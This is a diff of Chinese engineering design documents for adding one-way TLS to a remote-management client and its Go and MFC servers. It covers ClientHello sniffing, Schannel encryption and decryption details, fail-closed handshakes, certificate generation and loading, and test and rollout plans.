- 握手凭据:`SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS`,`grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT`(与 Go 端 `MinVersion: TLS 1.2` 对齐)。
|
||||||
|
- 单向 TLS:不提供客户端证书;客户端身份仍由隧道内登录承担。
|
||||||
|
|
||||||
|
### 6.3 连接层封装
|
||||||
|
|
||||||
|
在 socket 建立后、应用协议首包前插入 TLS 握手(`IOCPClient::ConnectServer`,`m_bConnected` 置位前);`ReceiveData`/`SendTo` 改走 `TlsChannel` 会话。所有出站连接(主连接 + 子连接)统一遵循 TLS 开关,因此子连接同样被加密——服务端按连接检测,天然支持。实现:`client/TlsChannel.{h,cpp}`,接入点 `client/IOCPClient.{h,cpp}`。
|
||||||
|
|
||||||
|
### 6.4 关键:无静默降级(fail-closed)
|
||||||
|
|
||||||
|
**证书文件存在但握手失败(证书不匹配 / 中间人)时,客户端必须报错并放弃连接,禁止回退到明文。** 否则攻击者可制造降级。这必须写进实现与测试。
|
||||||
|
|
||||||
|
### 6.5 实现要点:Schannel 流模式 `DecryptMessage` 的缓冲重组
|
||||||
|
|
||||||
|
Schannel 流模式(`ISC_REQ_STREAM`)下,`DecryptMessage` 会把输入的那段 `SECBUFFER_DATA`
|
||||||
|
**重组**为 4 段输出,而不是就地解密到原偏移:
|
||||||
|
|
||||||
|
| 索引 | 类型 | 内容 |
|
||||||
|
|---|---|---|
|
||||||
|
| `bufs[0]` | `SECBUFFER_STREAM_HEADER` | TLS 记录头(5) + 显式 nonce(8) |
|
||||||
|
| `bufs[1]` | `SECBUFFER_DATA` | **明文** |
|
||||||
|
| `bufs[2]` | `SECBUFFER_STREAM_TRAILER` | 认证标签 |
|
||||||
|
| `bufs[3]` | `SECBUFFER_EXTRA` | 下一条记录的剩余密文(如有) |
|
||||||
|
|
||||||
|
因此客户端 `Recv` 必须从 `bufs[1].pvBuffer`/`bufs[1].cbBuffer` 取明文、`EXTRA` 从 `bufs[3]`
|
||||||
|
取。若误用 `bufs[0]`(记录头+nonce)或从原缓冲首字节取数,会把 TLS 记录头 `17 03 03 …`
|
||||||
|
当作明文交给协议解析器(表现为 `Unknown header`)。`Send` 方向相反:`EncryptMessage` 用
|
||||||
|
`STREAM_HEADER/DATA/TRAILER` 三段布局,本就正确。这一处是联调阶段实际踩到的、唯一的方向性
|
||||||
|
不对称 bug,已修复。
|
||||||
|
|
||||||
|
## 7. 兼容矩阵
|
||||||
|
|
||||||
|
| 客户端 | 服务端行为 | 结果 |
|
||||||
|
|---|---|---|
|
||||||
|
| 老客户端(无证书概念) | 明文路径 | 与现状完全一致 |
|
||||||
|
| 新客户端 · 无证书 | 明文路径 | 与老客户端行为一致(默认) |
|
||||||
|
| 新客户端 · 有证书 | TLS 路径 | 全量加密(主 + 子连接) |
|
||||||
|
|
||||||
|
服务端 TLS 未配置(`YAMA_TLS_CERT/KEY` 为空)时,一切与现状一致,TLS 客户端握手自然失败(fail-closed)。
|
||||||
|
|
||||||
|
## 8. 安全考量
|
||||||
|
|
||||||
|
- **TLS 提供**:机密性、完整性、服务端身份(客户端校验)、抗重放(TLS record 序号 + nonce)。即对 TLS 客户端而言,Measure 1(真加密 + 防重放)达成。
|
||||||
|
- **TLS 不提供**(单向):客户端证书身份——仍由隧道内登录承担;对「未颁证客户端」不强制加密(这是本设计刻意保留的兼容性,也是薄弱点:部署安全性取决于最弱客户端)。
|
||||||
|
- **明文前导**:TLS ClientHello 前几字节明文(协议固有),仅暴露「这是 TLS 客户端」,不含业务数据;客户端不设 SNI(连接目标是 IP,无域名)。
|
||||||
|
- **子连接**:客户端统一走 TLS,screen/terminal/file 子连接一并加密;对应 Measure 2 的「源 IP 绑定」降级为纵深防御,不再是唯一防线。
|
||||||
|
- **证书轮换**:重签服务端证书后,需向已颁证客户端重新投递新信任锚(或在证书到期前提前过渡)。自签名建议 `-days 3650`,到期前统一更换。
|
||||||
|
- **协议强度**:`MinVersion` 固定 TLS 1.2+,套件用 Go 默认安全集(`tls.Config` 默认已排除弱套件)。
|
||||||
|
|
||||||
|
## 9. 部署与运维
|
||||||
|
|
||||||
|
### 9.1 生成证书
|
||||||
|
|
||||||
|
自签名(最简,客户端信任锚即 `yama-server.crt`):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl req -x509 -newkey rsa:2048 -nodes \
|
||||||
|
-keyout yama-server.key -out yama-server.crt \
|
||||||
|
-days 3650 -subj "/CN=yama-server"
|
||||||
|
```
|
||||||
|
|
||||||
|
或自建 CA + 签服务端证书(便于轮换,客户端信任锚为 `ca.crt`):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
openssl req -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt -days 3650 -subj "/CN=yama-ca"
|
||||||
|
openssl req -newkey rsa:2048 -nodes -keyout server.key -out server.csr -subj "/CN=yama-server"
|
||||||
|
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out server.crt -days 3650
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.2 服务端
|
||||||
|
|
||||||
|
```bash
|
||||||
|
YAMA_TLS_CERT=/etc/yama/server.crt \
|
||||||
|
YAMA_TLS_KEY=/etc/yama/server.key \
|
||||||
|
./server_linux_amd64 ...
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.3 客户端「颁发 + 重启」
|
||||||
|
|
||||||
|
首选:把信任锚 PEM 正文写入注册表值 `Software\<exehash>\settings\tls_cert`(REG_SZ),重启客户端:
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$pem = Get-Content -Raw 'C:\path\yama-ca.pem'
|
||||||
|
New-Item -Path 'HKCU:\Software\<exehash>\settings' -Force | Out-Null
|
||||||
|
Set-ItemProperty -Path 'HKCU:\Software\<exehash>\settings' -Name 'tls_cert' -Value $pem -Type String
|
||||||
|
```
|
||||||
|
|
||||||
|
- `<exehash>` = 客户端 exe 全路径小写后的 FNV 哈希(`common/iniFile.h` 的 `GetRegistryName()`)。
|
||||||
|
- 客户端以服务(SYSTEM)运行时,注册表落在会话用户的 `HKEY_USERS\<SID>`(`GetCurrentUserRegistryKey()`)。
|
||||||
|
- REG_SZ 直接存 PEM 正文(含换行);客户端动态读取,不受 `iniFile::GetStr` 512 字节固定缓冲限制。
|
||||||
|
|
||||||
|
兼容旧方式:把信任锚复制到客户端目录并命名为 `yama-ca.pem`(或经 `settings.ini` `[settings] tls_cert` 指向),重启客户端。
|
||||||
|
|
||||||
|
移除注册表值(或删除文件)并重启即退回明文。**远程下发/撤销信任锚属后续工作,本期仅支持本地写注册表。**
|
||||||
|
|
||||||
|
## 10. 测试计划
|
||||||
|
|
||||||
|
1. **检测单元**:`isTLSClientHello` 对 `0x16 0x03 … 0x01`(TLS 1.2/1.3 ClientHello)/ `POST ` / `Shine` / 混淆 `HELL`(首两字节恰好 `0x16 0x03` 但 `b[5]==0x00`)/ 短于 6 字节 等判定的单测(已实现 `server/go/server/tls_test.go`)。
|
||||||
|
2. **TLS 未配置**:不设 `YAMA_TLS_*` → 纯明文,行为与现状一致。
|
||||||
|
3. **明文回归**:老客户端 + 新客户端(无证书)均走明文,登录/屏幕/终端/文件全链路不回归。
|
||||||
|
4. **TLS 加密**:新客户端(有证书)→ 握手成功,登录/屏幕/终端/文件子连接全部在 TLS 内跑通;抓包确认 payload 不可读。
|
||||||
|
5. **混合并发**:明文与 TLS 客户端同时在线,互不干扰。
|
||||||
|
6. **fail-closed**:客户端有证书但服务端证书不匹配 / 中间人 → 客户端报错断开,**不**回退明文。
|
||||||
|
7. **握手超时 / 限流**:恶意慢握手被 `ReadTimeout` + per-IP 限流压制。
|
||||||
|
|
||||||
|
## 11. 分期与回滚
|
||||||
|
|
||||||
|
- **阶段 1(Go 服务端,本期优先)**:`Config` + `tls.Config` + `acceptLoop` 检测回放;明文路径零改动。可独立上线、独立验证——用 `openssl s_client` 或 Go 测试客户端即可联调 TLS 链路,无需真实客户端配合。
|
||||||
|
- **阶段 2(Windows 客户端)**:证书检测 + TLS 栈 + fail-closed。
|
||||||
|
- **阶段 3(MFC 服务端 `server/2015Remote`,延后)**:与 Go 服务端同款的 TLS 检测 + 解包接入。设计稿见 `docs/TransportTLS_MFCServer_Design.md`。
|
||||||
|
- **回滚**:服务端清空 `YAMA_TLS_CERT/KEY` 即回到纯明文;客户端删除注册表 `tls_cert` 值(或 `yama-ca.pem` 文件)即回明文。
|
||||||
|
|
||||||
|
## 12. 待定问题
|
||||||
|
|
||||||
|
1. ~~客户端 TLS 栈最终选型~~ → **已定 Schannel**(见 §6.2,2026-10-13 落地)。
|
||||||
|
2. ~~信任锚文件固定名(`yama-ca.pem`)是否需可配置~~ → **已改为注册表 `tls_cert` 值优先、文件回退**(见 §6.1/§9.3,2026-10-14)。
|
||||||
|
3. 是否同步把「TLS 内去掉 XOR」列为后续精简项(当前保留 XOR,换取零协议改动)。
|
||||||
|
4. Linux / macOS / Android 客户端的 TLS 接入排期。
|
||||||
@@ -0,0 +1,280 @@
|
|||||||
|
# MFC 服务端(server/2015Remote)单向 TLS 加密设计
|
||||||
|
|
||||||
|
> 版本:v0.3 · 状态:**已实施并验证(屏幕 + 终端联调通过)** · 日期:2026-10-15
|
||||||
|
> 上游依赖:`docs/TransportTLS_Design.md`(Go 服务端 + Windows 客户端,已实现并验证)。
|
||||||
|
> 本期范围:**MFC 服务端 `server/2015Remote` 的传输层加密**(加载证书+私钥、握手、加解密、新旧客户端并存)。
|
||||||
|
> 显式排除(本次不做,但须预埋接缝):① MFC 的 MCP 式配置 UI;② 「向在线主机下发是否启用加密传输」的指令;③ 客户端运行时热切换。
|
||||||
|
>
|
||||||
|
> **已拍板的三个决策(2026-10-14,见 §12)**:
|
||||||
|
> 1. 握手采用 **方案 A(专用短命阻塞线程)**;
|
||||||
|
> 2. 身份文件采用 **PEM + CNG(`CertPath` + `KeyPath`)**,与 Go 服务端共用同一对密钥;私钥须为 **PKCS#8**;
|
||||||
|
> 3. 配置 **新建 `[tls]` 节**(`Enabled` / `CertPath` / `KeyPath`)。
|
||||||
|
>
|
||||||
|
> 需求原文(已确认):
|
||||||
|
> 1. MFC 服务端有一个类似 MCP 的配置,可选启用传输层加密;启用时需指定一对密钥(证书 + 私钥);
|
||||||
|
> 2. 启用后,可向在线主机发送「是否启用加密传输」的指令 —— **UI 与新指令属后期内容**;
|
||||||
|
> 3. **新旧客户端都须支持**:同一端口同时兼容明文(老客户端)与 TLS(新客户端)。
|
||||||
|
|
||||||
|
## 1. 目标与范围
|
||||||
|
|
||||||
|
### 目标
|
||||||
|
|
||||||
|
- MFC 服务端在同一个 TCP 端口(6543)上,按连接自动区分「明文客户端」与「TLS 客户端」,路由到各自路径。
|
||||||
|
- TLS 客户端解密后的字节流 == 同一套应用协议(flag 帧 + XOR + zstd),**协议解析/解压/解码零改动**。
|
||||||
|
- 老客户端(无 TLS 概念)行为不变、零改动。
|
||||||
|
- 服务端「启用 TLS」是**配置驱动**的:未配证书 → 纯明文;配了证书 → 新旧并存。
|
||||||
|
|
||||||
|
### 非目标(Non-goals,本次不做)
|
||||||
|
|
||||||
|
- 不做 **mTLS / 客户端证书**:单向 TLS,客户端身份仍由隧道内登录(V1 `PwdHmac` / V2 `ECDSA`)承担。
|
||||||
|
- 不做「TLS 内去掉 XOR」的二次精简(与上游设计一致,保留 XOR 换取零协议改动)。
|
||||||
|
- 不做 **UI**:不新增配置对话框、不加「启用加密」复选框、不加证书/私钥路径选择控件。
|
||||||
|
- 不做 **「向在线主机下发启用/撤销加密」指令**:不下发信任锚、不发加密开关指令、不改客户端运行时状态。
|
||||||
|
- 不做 KCP/UDP 传输(`IOCPKCPServer`)的 TLS 接入(本期只做 TCP 设备端口;KCP 另行评估)。
|
||||||
|
|
||||||
|
## 2. 现状与复用(IOCP 数据流 + 四个接缝)
|
||||||
|
|
||||||
|
MFC 服务端 TCP 接收链路:`OnAccept`(`IOCPServer.cpp:1144`)`accept` 后 `AllocateContext`(`:1289`)分配 `CONTEXT_OBJECT`,绑定 IOCP,`PostRecv`(`:1268`)投递首个 `WSARecv`(`:1278`,收进 `wsaInBuf`→`szBuffer[PACKET_LENGTH]`,`:1215`)。收满后 `HandleIO(IORead)`(`:746`)→ `OnClientReceiving`(`:892`)→ `ParseReceivedData`(`:796`)。
|
||||||
|
|
||||||
|
原始 socket 字节在整套流程里各只有**一个入口**和**一个出口**,这是 TLS 能做成「过滤器」而非「改写」的根本原因:
|
||||||
|
|
||||||
|
| 接缝 | 位置 | 作用 |
|
||||||
|
|---|---|---|
|
||||||
|
| ① 收包咽喉点 | `IOCPServer.cpp:805` `InCompressedBuffer.WriteBuffer(szBuffer, dwTrans)` | 原始字节进入协议解析的**唯一**位置(`szBuffer` 全文件仅此一处消费) |
|
||||||
|
| ② 发包咽喉点 | `IOCPServer.cpp:1000` `WSASend(...wsaOutBuffer...)` | `OutCompressedBuffer` 上行的**唯一**位置 |
|
||||||
|
| ③ 嗅探点 | `OnAccept`→`PostRecv`;`OnClientInitializing`(`:790`)现为空桩 `return TRUE` | 首次收到数据处,可挂 ClientHello 判定 |
|
||||||
|
| ④ 状态字段 | `Server.h:332` `CONTEXT_OBJECT`(`szBuffer`/`wsaInBuf`/`InCompressedBuffer`/`InDeCompressedBuffer`/`OutCompressedBuffer`/`Parser` 等,`:359-398`) | 新增 TLS 会话指针 + 标志位 |
|
||||||
|
|
||||||
|
**关键结论(本设计的基础)**:TLS 作为「透明传输包装」,加解密插在 ①② 两处,③ 做新旧分流,④ 加一个 per-connection 状态。`ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码,**全部不动**。这与上游 Go 服务端「`tls.Conn` 满足 `net.Conn`、parser 零改动」是同一策略(见上游 §2.3)。
|
||||||
|
|
||||||
|
## 3. 总体方案
|
||||||
|
|
||||||
|
### 3.1 按连接嗅探(与 Go 服务端同款判定)
|
||||||
|
|
||||||
|
首次收到数据后,只看 `szBuffer` 前 6 字节:
|
||||||
|
|
||||||
|
- 命中 `0x16 0x03 … 0x01`(TLS 握手记录 + TLS 版本号 + ClientHello)→ TLS 路径;
|
||||||
|
- 其它 → 明文路径(老客户端透明,一行不改)。
|
||||||
|
|
||||||
|
判据与 Go 端 `isTLSClientHello`(`0x16 0x03` 且 `b[5]==0x01`)**完全一致**,理由也一致:客户端会随机混淆魔数头(见上游 §2.1),明文前两字节可能恰为 `0x16 0x03`,但字节 5 对混淆头恒非 `0x01`,故三重判据误判率趋近于零。
|
||||||
|
|
||||||
|
### 3.2 数据路径 = 条件过滤器
|
||||||
|
|
||||||
|
```
|
||||||
|
OnAccept → PostRecv
|
||||||
|
│
|
||||||
|
首次 IORead 完成(嗅探 szBuffer[0..5])
|
||||||
|
┌─────┴─────┐
|
||||||
|
明文(其它) TLS(0x16 0x03 .. 0x01)
|
||||||
|
│ │
|
||||||
|
ParseReceivedData TLS 握手(AcceptSecurityContext)
|
||||||
|
(现状,零改动) │ 成功
|
||||||
|
│ ▼
|
||||||
|
│ 握手后:IORead → DecryptMessage → 明文 → InCompressedBuffer.WriteBuffer
|
||||||
|
│ 发送:OutCompressedBuffer → EncryptMessage → WSASend
|
||||||
|
└────────── 同一套 Parse/Encode/解压/压缩 ──────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
明文连接与握手后的 TLS 连接,下游共用同一套 `Parse`/`Encode`/解压/压缩。唯一差别是 ①② 两处各多一个 `if (tls) 加解密 else 直通` 分支。
|
||||||
|
|
||||||
|
## 4. 配置设计(含未来 UI/指令的预埋)
|
||||||
|
|
||||||
|
### 4.1 配置面(本次定键名,UI 后期加)
|
||||||
|
|
||||||
|
MFC 服务端配置走 `THIS_CFG`(`config`/`iniFile`,`GetInt`/`GetStr(section,key,default)`,见 `2015Remote.cpp:481-543` 用法)。新增 `[tls]` 节,三键(**已拍板 PEM + CNG**,见 §5.6、§12):
|
||||||
|
|
||||||
|
```ini
|
||||||
|
[tls]
|
||||||
|
Enabled = 0 ; 是否启用传输层加密(0/1)
|
||||||
|
CertPath = "" ; 服务端证书路径(PEM,-----BEGIN CERTIFICATE-----)
|
||||||
|
KeyPath = "" ; 服务端私钥路径(PEM PKCS#8,-----BEGIN PRIVATE KEY-----)
|
||||||
|
```
|
||||||
|
|
||||||
|
三键都是**短字符串路径**,不落 PEM 正文,故不受 `iniFile::GetStr` 512 字节固定缓冲限制(该限制只在「存 PEM 正文」时才成问题,客户端已为此单独绕行,见上游 §6.1)。
|
||||||
|
|
||||||
|
### 4.2 未来不返工的四条硬约束(本次预埋)
|
||||||
|
|
||||||
|
1. **配置单一访问器**:TLS 开关与身份路径只经一个中心对象 `ServerTlsIdentity` 暴露:`Load(config&)` / `IsEnabled()` / `IsReady()` / `IsLoadError()` / `Cred()`。未来 UI 改配置、指令查询「我当前是否加密态」都走这同一个入口,禁止代码里散落 `GetInt("Enabled")`。
|
||||||
|
2. **身份加载做成可重入,绝不用 `std::call_once`**:`ServerTlsIdentity::Load(config&)` 每次调用重新加载证书+私钥并重建凭据句柄。本次启动时调一次;未来「轮换证书 / 开关切换」可再调。这是对客户端 `TlsEnabled()` 用 `std::call_once` 一次读死、不可热切换(见上游 §6.1 与 `docs/tls-cert-push-revoke-deferred` 相关记忆)的**主动规避**。
|
||||||
|
3. **「我是否 TLS 就绪」是全局只读态,与每条连接的 TLS 态分开**:`ServerTlsIdentity::IsEnabled()`(全局配置态)/ `IsReady()`(身份加载成功)与 per-connection 的「该连接是否走 TLS/握手是否完成」是两个概念。未来指令/UI 只碰前者。
|
||||||
|
4. **按连接嗅探本身就是为混合上线准备的**:服务端开 TLS 后,没切换的旧主机照样明文连、已切换的走 TLS。未来「下发开启指令」只改客户端行为,服务端传输层不用动。
|
||||||
|
|
||||||
|
## 5. 服务端改动详述
|
||||||
|
|
||||||
|
### 5.1 `CONTEXT_OBJECT` 字段(`Server.h`,加 4 项)
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// 每连接传输层状态(单向 TLS,见 §5.2);跨线程(握手线程写 TLS_Ready,工作线程读)用 atomic 保序
|
||||||
|
enum ServerTlsState {
|
||||||
|
TLS_Unclassified = 0, // 尚未收到足够字节判定(缓冲 tlsPreClassify)
|
||||||
|
TLS_Plain = 1, // 明文客户端,直通现有解析路径
|
||||||
|
TLS_Handshaking = 2, // TLS 客户端,握手线程阻塞 AcceptSecurityContext 中
|
||||||
|
TLS_Ready = 3, // TLS 握手完成,收包解密 / 发包加密
|
||||||
|
};
|
||||||
|
ServerTlsSession* tls = nullptr; // 懒分配;握手完成后承载加解密状态
|
||||||
|
std::atomic<int> tlsState{ TLS_Unclassified }; // ServerTlsState
|
||||||
|
std::vector<BYTE> tlsPreClassify; // 分类前缓冲的首批字节(嗅探 ClientHello 头)
|
||||||
|
bool bSendPending = false; // 发送在途抑制(见 §5.5);受 SendLock 保护
|
||||||
|
|
||||||
|
void FreeTls(); // delete tls; tls = NULL;(定义在 ServerTlsSession.cpp,避免本头拖入 Schannel)
|
||||||
|
```
|
||||||
|
|
||||||
|
生命周期见 §5.7:`InitMember` 时复位 `tlsState`/`tlsPreClassify`/`tls`,析构 / 回收时 `FreeTls()`。
|
||||||
|
|
||||||
|
### 5.2 嗅探与预分类缓冲
|
||||||
|
|
||||||
|
首次 `IORead` 完成时(`OnClientReceiving` 开头,`ParseReceivedData` 之前)判定:
|
||||||
|
|
||||||
|
- `dwTrans >= 6`:看 `szBuffer[0..5]`,一次定死明文/TLS;
|
||||||
|
- `dwTrans < 6`(TCP 把 ClientHello 头分片,极罕见但须正确):把这 `dwTrans` 字节追加进 `tlsPreClassify`,`PostRecv` 继续收,直到攒够 6 字节再判定。判定后清空 `tlsPreClassify`。
|
||||||
|
|
||||||
|
明文连接判定后,把 `tlsPreClassify`(如有)+ 本次 `szBuffer` 一并按现状喂给 `ParseReceivedData`,保证分片字节不丢。
|
||||||
|
|
||||||
|
### 5.3 握手(已拍板方案 A)
|
||||||
|
|
||||||
|
服务端握手需 `AcceptSecurityContext`(Schannel 入站),与客户端 `InitializeSecurityContext`(出站)**不通用**,需新写。数据阶段的 `DecryptMessage`/`EncryptMessage` 是同步缓冲变换,与异步收发包天然兼容,两个方案都复用。
|
||||||
|
|
||||||
|
**方案 A:专用握手线程(阻塞式,已实施)**
|
||||||
|
- 首次 `IORead` 判定为 TLS 后,此刻 `WSARecv` 已因完成回调结束、socket 上**无 pending overlapped 操作**,可安全转交一个短命线程做阻塞握手。
|
||||||
|
- 线程内用**与客户端 `TlsChannel::Handshake` 同型的阻塞 Schannel 循环**跑 `AcceptSecurityContext`(`TlsChannel.cpp` 已证明该模式可靠),把已收到的 ClientHello 字节(`tlsPreClassify`,可能是分片)作为初始输入,后续 handshake 航程走阻塞 `recv`/`send`;握手前把 socket 切回阻塞态并设 15s 收发超时。
|
||||||
|
- 成功 → `tlsState.store(TLS_Ready)`,`PostRecv` 投递首个 `IORead`,回到 IOCP 正常流程;失败 → 关连接(fail-closed,§8)。
|
||||||
|
- 优点:复用客户端已验证的阻塞 Schannel 代码形态、状态最少;缺点:每个 TLS 连接多一个短命线程(仅在握手期间存活)。
|
||||||
|
|
||||||
|
**方案 B:异步状态机(无额外线程,更贴合 IOCP)**
|
||||||
|
- 握手由 `IORead`/`IOWrite` 完成回调推进:每次回调喂一段握手字节给 `AcceptSecurityContext`,按其返回(`SEC_I_CONTINUE_NEEDED` → 继续收/发;`SEC_E_OK` → 完成)驱动下一动作。
|
||||||
|
- 优点:无额外线程、与现有 IOCP 事件循环同构;缺点:状态管理明显更重,需把「握手待收/待发/完成」编码进 per-connection 状态。
|
||||||
|
|
||||||
|
**已拍板(2026-10-14)**:采用 **方案 A**(简单、复用客户端阻塞 Schannel 经验、风险低)。方案 B 留作后续压测发现短命线程开销不可接受时再演进;二者切换只影响 §5.3,不影响 ①②④ 的过滤器设计。
|
||||||
|
|
||||||
|
### 5.4 收包解密(接缝 ①,`ParseReceivedData` 之上)
|
||||||
|
|
||||||
|
`OnClientReceiving` 里,明文与 TLS 分叉:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
int st = ContextObject->tlsState.load(std::memory_order_acquire);
|
||||||
|
if (st == TLS_Ready) {
|
||||||
|
// 1) 把 szBuffer[0..dwTrans] 喂给 DecryptMessage,得到明文 plain、长度 n
|
||||||
|
// 2) 处理 SECBUFFER_EXTRA:多余密文留存到 tls 对象内部缓冲(m_raw),下次续解(见上游 §6.5)
|
||||||
|
// 3) plain 为空(记录分片未齐)→ PostRecv 继续收;否则 ContextObject->InCompressedBuffer.WriteBuffer(plain.data(), n);
|
||||||
|
} else {
|
||||||
|
ContextObject->InCompressedBuffer.WriteBuffer(szBuffer, dwTrans); // 现状,零改动
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
即 ① 从「一行直写」变成「条件分支」,明文侧原文不动。解密缓冲重组(`STREAM_HEADER/DATA/TRAILER/EXTRA` 四段布局)已在上游 §6.5 踩过坑、给出正确写法,服务端直接沿用(`ServerTlsSession::Decrypt` 内维护 `m_raw` 续解缓冲)。
|
||||||
|
|
||||||
|
### 5.5 发包加密(接缝 ②,`OnClientPreSending` 之上)
|
||||||
|
|
||||||
|
`OutCompressedBuffer` 是「可能残留上一轮未发完密文」的可变缓冲:异步 `WSASend` 在途时,新明文由 `WriteContextData` 追加在尾部。因此 `OnClientPreSending`(`IOCPServer.cpp`)**只加密本次新追加的尾部明文**,而非整个缓冲:
|
||||||
|
|
||||||
|
1. 追加前记 `oldLen = OutCompressedBuffer.GetBufferLength()`;
|
||||||
|
2. `WriteContextData` 追加新明文后,`plainLen = totalLen - oldLen`,只对 `GetBuffer(oldLen)` 起的 `plainLen` 字节调用 `tls->Encrypt` 得密文 `wire`;
|
||||||
|
3. `TruncateBuffer(oldLen)` 回退尾部明文(**不用 `ClearBuffer`**:后者会 `DeAllocateBuffer`,可能 `VirtualFree` 正在被在途 `WSASend` 引用的底层内存),再 `WriteBuffer(wire)` 追加新密文。
|
||||||
|
|
||||||
|
这样 `OutCompressedBuffer` 始终保持一串合法 TLS 记录。若把整个缓冲重新加密,会把旧密文二次加密,客户端解密后得到「旧 TLS 记录」→ `Unknown header 17 03 03`。
|
||||||
|
|
||||||
|
**发送唤醒的并发抑制(`bSendPending`)**:`OnClientPreSending` 每次 `Send2Client` 若都 `PostQueuedCompletionStatus(IOWrite, 0)`,则每个 `OnClientPostSending(ctx, 0)` 都会对整个缓冲再发起一次 `WSASend`;背靠背小包(终端 `resize → COMMAND_NEXT → resize`)会触发多个并发 `WSASend` 读到同一段可变内存,产出重复/错位密文(客户端 `DecryptMessage` 失败,`WSAGetLastError()` 残留 `6001 = ERROR_DECRYPTION_FAILED`)。故新增 `bool bSendPending`(受 `SendLock` 保护):仅在 `!bSendPending` 时投递 IOWrite 并置位;`OnClientPostSending` 在缓冲排空(最后一个 `WSASend` 完成)或发送失败时清零;`InitMember` 复用对象池时复位。在途 `WSASend` 的完成回调会看到排空后仍残留的新数据并继续发送,无需再投递。后续 `OnClientPostSending` 的部分发送循环照旧——它发送的已是密文字节,逐段 `WSASend` 天然成立。
|
||||||
|
|
||||||
|
### 5.6 证书/私钥加载(Schannel 入站凭据,已拍板 PEM+CNG)
|
||||||
|
|
||||||
|
`AcquireCredentialsHandle` 取 `SCHANNEL_CRED`(入站)时需一个**已绑定私钥的证书**。已拍板用 **PEM + CNG**(与 Go 端 `YAMA_TLS_CERT/KEY` 同构,服务端与 Go 共用同一对密钥):
|
||||||
|
|
||||||
|
- **证书**:`CryptStringToBinaryA(CRYPT_STRING_ANY)` 把 PEM 解为 DER → `CertCreateCertificateContext(X509_ASN_ENCODING)`。
|
||||||
|
- **私钥(仅 PKCS#8)**:Schannel 入站凭据要求私钥是**「能按名重开」的持久化键**——`NCryptImportKey` 产出的是匿名临时键,绑定 `CERT_NCRYPT_KEY_HANDLE_PROP_ID` 后 Schannel 仍拿不到(`AcquireCredentialsHandle` 返回 `SEC_E_NO_CREDENTIALS` `0x8009030e`)。因此:
|
||||||
|
1. **导入临时键并导出裸 BLOB**:`NCryptOpenStorageProvider(MS_KEY_STORAGE_PROVIDER)` + `NCryptImportKey(NCRYPT_PKCS8_PRIVATE_KEY_BLOB)` 得临时键(`hProvider` 不能传 NULL——默认提供者解析实测返回 `NTE_INVALID_HANDLE` `0x80090026`,须显式打开 KSP);再 `NCryptSetProperty(NCRYPT_EXPORT_POLICY_PROPERTY=ALLOW_PLAINTEXT_EXPORT|ALLOW_EXPORT)` 后 `NCryptExportKey(BCRYPT_RSAFULLPRIVATE_BLOB)` 得裸 RSA 私钥 BLOB。
|
||||||
|
2. **写入持久化键**:`NCryptCreatePersistedKey(BCRYPT_RSA_ALGORITHM, "YamaServerTlsKey", AT_KEYEXCHANGE, NCRYPT_OVERWRITE_KEY_FLAG)` → `NCryptSetProperty(BCRYPT_RSAFULLPRIVATE_BLOB)` → `NCryptFinalizeKey`。`NCryptSetProperty` 只认裸 BLOB、不认 PKCS#8(直接设 `NCRYPT_PKCS8_PRIVATE_KEY_BLOB` 实测 `NTE_NOT_SUPPORTED` `0x80090029`)。
|
||||||
|
3. **按名绑定**:`CertSetCertificateContextProperty(CERT_KEY_PROV_INFO_PROP_ID, CRYPT_KEY_PROV_INFO{ pwszContainerName="YamaServerTlsKey", pwszProvName=MS_KEY_STORAGE_PROVIDER, dwProvType=0, dwKeySpec=AT_KEYEXCHANGE })`。Schannel 经 `CryptAcquireCertificatePrivateKey` 按名在 KSP 里重开该键。
|
||||||
|
- **入站凭据**:`AcquireCredentialsHandleA("Microsoft Unified Security Protocol Provider", SECPKG_CRED_INBOUND, &SCHANNEL_CRED{ cCreds=1, paCred=&cert, grbitEnabledProtocols=SP_PROT_TLS1_2_SERVER, dwFlags=NO_DEFAULT_CREDS })`。
|
||||||
|
|
||||||
|
关键点:**私钥必须是 PKCS#8**(`-----BEGIN PRIVATE KEY-----`);若拿到的是 PKCS#1(`-----BEGIN RSA/EC PRIVATE KEY-----`),用
|
||||||
|
`openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key` 转换。证书上下文生命周期交给进程级 `g_cert`,持久化键句柄交给 `g_persistedKey`;`FreeIdentity` 里按序 `FreeCredentialsHandle` → `CertFreeCertificateContext` → `NCryptDeleteKey`(`NCryptDeleteKey` 会同时释放句柄,勿再 `NCryptFreeObject`)。
|
||||||
|
|
||||||
|
### 5.7 生命周期(context 池化复用)
|
||||||
|
|
||||||
|
`CONTEXT_OBJECT` 经 `AllocateContext`(`:1311`)从 `m_ContextFreePoolList` **复用**、`InitMember`(`:1314`)复位。故 TLS 状态必须在 `InitMember` 里清空 `tlsPreClassify`、`FreeTls()`、复位 `tlsState`(`store(TLS_Unclassified)`)与 `bSendPending=false`(避免上次连接残留的在途标志抑制新连接发送),并在 `~CONTEXT_OBJECT`(`Server.h:346`)`FreeTls()`。否则「前一个 TLS 连接的状态漏给下一个明文连接」会直接导致解析错乱。这是唯一需要跨过 `InitMember`/析构两处做的生命周期接线。
|
||||||
|
|
||||||
|
### 5.8 明确不动的部分
|
||||||
|
|
||||||
|
- `ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码:**零改动**。
|
||||||
|
- `HeaderParser` / `context`(`context.h`)协议层:**零改动**。
|
||||||
|
- `OnAccept` / `PostRecv` / `AllocateContext` / `RemoveStaleContext` 主结构:**零改动**(仅新增 TLS 分支与字段复位)。
|
||||||
|
- KCP / UDP 传输(`IOCPKCPServer`):**零改动**(不在本期范围)。
|
||||||
|
|
||||||
|
## 6. 新老客户端兼容矩阵
|
||||||
|
|
||||||
